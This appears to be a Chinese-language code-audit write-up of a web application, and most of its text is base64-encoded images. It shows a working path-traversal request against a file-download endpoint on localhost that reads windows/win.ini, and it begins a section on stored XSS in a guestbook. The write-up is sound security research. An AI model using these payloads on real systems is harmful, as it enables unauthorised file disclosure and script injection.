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 truncated
|
||||
然后用fileKey的值和PathKit.getWebRootPath() 函数的返回值拼接 (其实这里已经不用看getWebRootPath的返回值了,因为getWebRootPath无论是什么,都可以被../../../../去进行目录跨越)。</p>
|
||||
<p blockindex=34><img src="data:image/png;base64,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 truncated
|
||||
<a href="http://127.0.0.1:8080/common/down/file?fileKey=/../../../../../../../../../../windows/win.ini">http://127.0.0.1:8080/common/down/file?fileKey=/../../../../../../../../../../windows/win.ini</a><br>
|
||||
成功读取到win.ini文件。<br>
|
||||
<strong>(个人觉得审计这套源码学到比较重要的东西:虽然返回的是404,但是依旧是执行了下载文件功能,有时候src或者黑盒测试的时候遇到404应该尽量fuzz一下。而不是直接放弃。也许404页面有大用也说不准,听几个师傅说过404页面xss,url跳转之类的水洞出现率还是挺高的。)</strong></p>
|
||||
<p blockindex=35><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABp4AAAHGCAYAAABtmvgWAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOzdeXCbd37n+TfuGwTA+xYliqTu0y3b6rYly3bsvpx2H5NJunuS2TnSW9lM/sjWZv+YVCWTP1I12anenVSSmslmEqcz6bQ90253b9qxLUuyLbllWRJ1H9RBijcJAiBu4AHw7B8UJeombcq6Pq8qlmkCzw8/gNRD8Pd5vt+fpaenxwQwTRORR43FYrkr45qmSaVSwWaz3ZXxF0u5XMZqtS74dZg9X9yt109ERERERERERERE7q1brf/O/frs53P/a69UKrccVGGUPKwsFgsWi+Wu/4yXSqVPFOzcbbPB2Oy8Fvo6zJ43rFbros9NRERERERERERERO69WxUgmKZ52zVvSyKRVrr0EBoaGiYWi7F8eScej+deT0dE5IFUqVSoVCqUy2WKxQL5fJ5sNktdXQ0NDfX3enoiIve1fD5Pf/8gpmni9XpxOl3Y7XZsNtt9eWGOiIiIiIiILA77vZ6AiIjI/c40TUyTyx8zn4uIyJ2ZZuXKuVNEREREREQeDQqeRERE5mEmcJppU6kFVBGROzNNqFTMK5/r3CkiIiIiIvJoUPAkIiJyB7OLpbPhE2jxVERkPm48f4qIiIiIiMjDznqvJyAiIvIgmLtgqrVTEZH5Mq+pdlL4JCIiIiIi8vBT8CQiIjJPWjAVEfkkdO4UERERERF5lCh4EhERWQCFTyIi82WqQlREREREROQRpOBJRERkwbSSKiIyXwqfREREREREHi0KnkRERERERERERERERGRRKHgSERERERERERERERGRRWG/1xN4EBmGQSwWI5vNYxjGvI9zOBx4vR4ikQgOx4Pz0k9OTvKTn/yYaDR6V8avra3lpZe+Rk1NzV0ZX0TkXtu9eze7d+++a+Nv27aNbdu23bXxRURERERERERE5uvBST/uE/l8nng8QV/fOWKxBIVCYd7HulxuIpEQy5cvIxwO43a77uJMF8/UVJS//Mv/Siw2RW1t7aKOPTExQXV1DVu3fl7Bk4g8tHbv3s0f//Ef09raisu1eOf+QqHA4OAggIInERERERERERG5Lyh4WqCBgUF6e4/S13eeTCZDpTL/3ZKtVgs+n4/R0THWr19Ld/fyuzjTxffNb36T733ve4s65p/92Z/x7ru7FnVMEZH7UWtrK3/yJ39CZ2fnoo157tw5fvd3f3fRxhMREREREREREfm0FDwtULlcxmKx0NLSjNfrwefzzfvYTCZDNpsDLJTL5bs3ybukpqaGVatWLeqYi11BJSJyv3K5XHR2di76eXQxK6hERB4mhUIBwyjh9XqwWrW1rYiIiIiIyGdFwdMC+Xw+mpubCYWC1NfXUVNTPe9jp6amGBubIJFI4vN57+Is761SqcT09DQ2mxWXy43L5cJqtWKaJoZhkMvlKJdKBILBBYxqAgbZRIJ0MkveXUPQ7yHktV29S6UEuRhTaZNUyUVNXQCPw8aVexRSFLPTjCYKFEuVq8fZnFitNlwUKJUrGHNuuobVDq4Q1VU+IgHnLe5UAXKkEkWyGQuBugCuuXOY77MtGxjJCZJlNwVbgLqgA4fNssBRRORBlU6nyedyuNxu3G43DocDmDm/GoZBNpvB7fZgmvOvuk1GoySiMQrMnKkWxoHd6SJca6eYyZNJ5Ckzc2ZeGCs2pxN/bQAzk8VIZD7hfKzYnG78tfUEPQ68c97NVIwi2dgI6YoHwxWmvsqB85OcPyslyE4RzdlIVdw0R7w4HVq4FnmQxOMJ4vH45QvGvNhsC31HJiIiIiIiIp+EgqcFamysp7o6gs1mw+FY2MtXVVWF1+ujXC7jdDru0gzvLdM0icfj/NOb/4jP52d5VzdLly7F4/FQLBaZmJjg5MkTTEWjPLPj2QVUfhnABGd2v87etw9zuudf8tznV/LShvDVu+RicPw1fr6vwK6pJfzG97azqjnElXuMHGT0wM/545+eZyCau3qcvwmPP8IyzhNL5xhJ32IKnmro/Aq/9sXN/Nq2jlvcKQcc5+Pdw/R+bOGp721n6dw5zPfZJicY3/UXvBPv5EJ4B7+5vY7m8K3CLhF5mFQqFY4fO8LxY8dY3t1DZ+dympqaME2TZDLJ4OAgvYcP09XdhcfjnXf4tP+Nn/GTv/ob+oDsgmfVQm3zUl7+Xi1DH5/hwOvHiTNzZl6YAFXNrXz+e9uofHyMkdff/4TzCVDV3MPnv/fbPLu2hc2Rq7dkYyMc+cEf8n5hDdGlX+ffPd9Aa+QTnD+zU3Dk73njqJfd2TX8wbfX0FHvX/g4InLPnDp1hiNHjrF9+xdYsqSdqqqqez0lERERERGRR4KCp3nI5XLEYnEGBgZJp9MYRulTj+lw2AkEArS3txIOh/B4PIsw08+OaZqYpkmpNPNaWK1WbDYbpmlSKRcp56NMJYexlBJkpkew2x0YRpFsOsHE8BBGyaRcKsx7wbSUTZI8/Q5HD+zl3YN9jA3/iNxAEwPvz1aOubCV8njjH/DB6QK9U9X8yHmWppCX2XuEqkL4vVtY/2QHtcc/ZnxwgHTXUzQ119FoSRHbcxhbsI2G1T10B0cYPJZgcMDC8qe7qCkNkp+M8vNEmqlk4TYzrQAZUokE48MWskaJT/LTYnO58Xd04hnNUDpygP7Ht+MKO6n5BGOJPAyOHTtG/8V+1qxdQ11tLd6btDnNZjJMTExw9NgxOjo6WLNmzT2Y6fyZpkm5XKZcLmO1Wq98VCoVysU0ueQQQxfylLKTTIzUUS6XyWVTJOJRUrEBirk6XC73vM+jzd3dbP3ql1kOFOfeMHma6NAF3hhupmdZM0+uuNmZJow/VMPypgA1a2sIVZaQBeZeOjB56kOGzvcx3PxllrZEWHnTTqpuPKEwnU1LMde66KhU3TgfoJCcYnD/zzieDBOvWs1Xt7RQfU2lqRuPP0Cn6xSX9nzAx33DV+ZTSMUY2n+QPmOUVM0UztNBwt5bVzk4AwHqNm7AOTpK8WwfE7PzKaRg6CP2DTs5XTjCX8SbqQneuq2hM1BD3cYvs25p9S2eO5QycZIn3+XjqJ9h+3K+uqWZ6mvGnCQZvcj+Nw4z7lqGu2sjO1YFCXvtQAEY4uTeExzZOztPN55wI51PP0NPc4glN+3+e4sxM31E+/t440yAlhVL2bypnSB6Y/iwSsQT7N7zHrW1Nazo6SFYFcRuv/a7XSqVSE4nOXX6NNHJKZ7e9hSh0IMd1GSzM+/hc7k8pdKD1+ZaREREREQ+G4lEgnQ6Q3V1BJdrpjvWfFUqZQqFIlNTMXw+H+Fw6C7O9MGh9YV5iMXinDnTx6FDvcTj01fClk/DbrcRDofI5XL09HQ9UMFTpVLBMAyKxeLllk9ZDMMgGAzi8XiwWSESsDI9NUl6coz+ZD+mCWbFwG4pYi2ZhAJ1WC3mvBdMC6k0Z/e8z5nBSYacPjj/Dr2XghzxVxHx5MjGK+QyVvzNduxGGl/yAu/8wzG8QT+hkBcH0Pzkr7Lh+Zf55hchtvNvOLrPZORL3+GxHh/dmaO8ceRjHM09eL7wLNvrT9BbHqaSgc1PbWdp8QjJk4f44MLMP5nZVniJdIHp/NyFjAwwyng0SjILw/0XcRlxEnPuYbE5sPlqCAeuaxU4h80bILxhB91975I5dZjjo6txB7zU3LLFn8jDrf9iP3v27MEwDNauXUNbezsOhwOLxXKljefwyAjHjh5j3759APdt8DQbOM2eQwuFAul0Grfbjd/vx+Vy4XNbCHuLmOlzjA8MEx3xUi6XsFHEYhoEHBa8zvKCWu2t3PoY3Y+tYXp8klTe4Mqp67yHi0cK7LasomvjWr763LKrB1msYPcTigQJh2fOpeXmOLm1cSZTJYw5p79z3hhHC6Ow+ik2ruvg+WXcwOqtwu2/3P6uaxM8f5OJljLE+o/zdvwXFNKrifb8c/7Vr6+hs/G6aqNiHMbe4bW9+3j7jWPEgVw2Tj6dYqIUoCqQpNrYy/ujt39dvHW1LA/48Z46TXbP5QqschYjn2U8Bu6Al2Bomr27T3K7hn3eug6WB56mpvoWwVMpQ36qn1O7/j/enWyjvyHI02vrrgmeSplLTPS9xev/9TVORV6g9ktL2LjER9gL5WKc6fFfsP/d9/nJD48xHXRQKoEn1EyHtZkvfmElNV0BvID1moe9xZjJEZJnP+Stn5i0T2/H19HIuioHfrV1fSilM2n27d1HdXU1lXKFVatXEgxeDZ9KpRLJZJITJ07y4Ye/IBqNsmnzhgc+eBIREREREZmPyckoly4N0d7eSm1tDcFgEIvlzn8fm6ZJKpVmcjLKwMAgra2tCp4uU/A0DwMDgxw61EuxaNDS0kQkstDGaTeKxeLE4wkOHerF4/HQ1NS4CDO9+yqVCvl8nlgsxvT0NBaLhcOHD3P27FlWrlzJhg0baKgLEfB5afTZqfHnSGRT2G0WPM4yFrPEVNpF3urEYZ//4lY8Az/+BaSWPMmO55bC//xvTDc9g/OJl/jm6hOc+PFO3vnZAIme77IlcJalqYP8t9M9bHh+Ky+9tJ56wOeL4K2CiAdiNzxCGUhwce//5MyH77DTkSM7bZDNwMk/2omzkqNicTPavAG42grv9b1n+fnJ9HXj5Egl5hzrsF/zD80ebCD0+L/k69uuaxV4DQdQR/fyAGYsx5/8/DiOlJ1Nt2zxJ/JwW7N2DYZhsHPnTmKxKV544QXq6utxOp0YhsHE+Di7d+2mt7eXHTt2sPY+DZ0ADMMgnU4TjUYplUokEgl27dpFVVUVa9asYcOGDXjcbuqrPSypzlCu5MgVy3jdZeyWMkbJZHTah99rJ7ugTZaSTI8f5+3v/xf2nBzmWOrylwspirk0w7ljvHH8J+z7hzkVOI4qCG/ll3/1Gb75jU00AOmT73LsnX/gz/cmGELine truncated
|
||||
<h2 blockindex=36>0x3 存储型XSS</h2>
|
||||
<p blockindex=37>留言板处的在线留言功能/guestbook可以添加留言。</p>
|
||||
<p blockindex=38><img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAABoQAAANjCAYAAACDWHhDAAAACXBIWXMAAA7EAAAOxAGVKw4bAAAgAElEQVR4nOzdeXhU5f3//9ckmQRiWA0gWwhEMCIogm2FSsJOxCoRqkVUEFS0fovg8rN+PyIUlH61RQX9uAEmlVZcKkjqUnYkKNgaKJoYMYKEEEVJmhCWkGSSzO+PyTmc2ZIJWQnPx3V5Sc45c849kzkD1/2a9/u2pR+ucAo4S+31g3r06NHUwwAAAAAAAAAAANUIauoBAAAAAAAAAAAAoGGFNPUAcO7Lzc1t6iEAAAAAAAAAAIBqEAihTo6pW1MPAQAAAAAAAAAA1ICWcQAAAAAAAAAAAC0cgRAAAAAAAAAAAEALV6uWcTZJoXabQoOdCgmW7ME2BdcQKVVUSo4KpxwVkqPCpjKHU846DNjQtrVNrexS61Cptd2mkOB6OCkASVJ5hXTa4dTpMqnEIR0/XR93rSSbTU6nUzY5JafN9aECoH44Jdmccsomm80mOevpvjXYJJvTdQ8blzPvYWfVH23mgaqXv+wBAAAAAABQb2zphysCmrIJCZbatbYptI6rDpWVS0WnnSqvOLvHh4ZIPTva1DqUmWSgsRSXOnW40ClH+VmewCap0inZuG+BRuN0SkG2OgczNlWdwqnAQ9yqY83HAgAAAAAAoMkFFAiFh9rUprVrXqk+VDqlE6el4rLaTRN1jLDpona2ehsHgMBVOqUjx5wqPFW7+5YJYeD8VZsMCQAAAAAAAA2rxjWEwkNtahdef2GQ5DpXu3DXuQPVMcKmbu0Jg4CmEmSTunewqWNELW7CuhcnAKgPZ/N3Zz3cv2cCYf7yBgAAAAAAaGrVBkIhwVKb1g138TatFdDaP6EhUtd2TCYBzcFF7WyyB9g6sr6XMAFwdmp/L9rOrAtUR65z1NPJAAAAAAAAcNaqDYTatW7Yipwgm+saNenZ0cbSI0AzEWSTenYI4IZ0Opn/BZoJm1SrVMjZALV9BMQAAAAAAABNy28gFBri+q+h1XSd8DCbWteitRyAhhceZquh5aNNpLhAM2OzyVqmk51Xqey8SvdDpAYr5rHJFQrxyQAAAAAAANA0/EYx9uDGm7KxB9tUVu77q8PhobU717Hjx/Xq8tf03cFDKisrk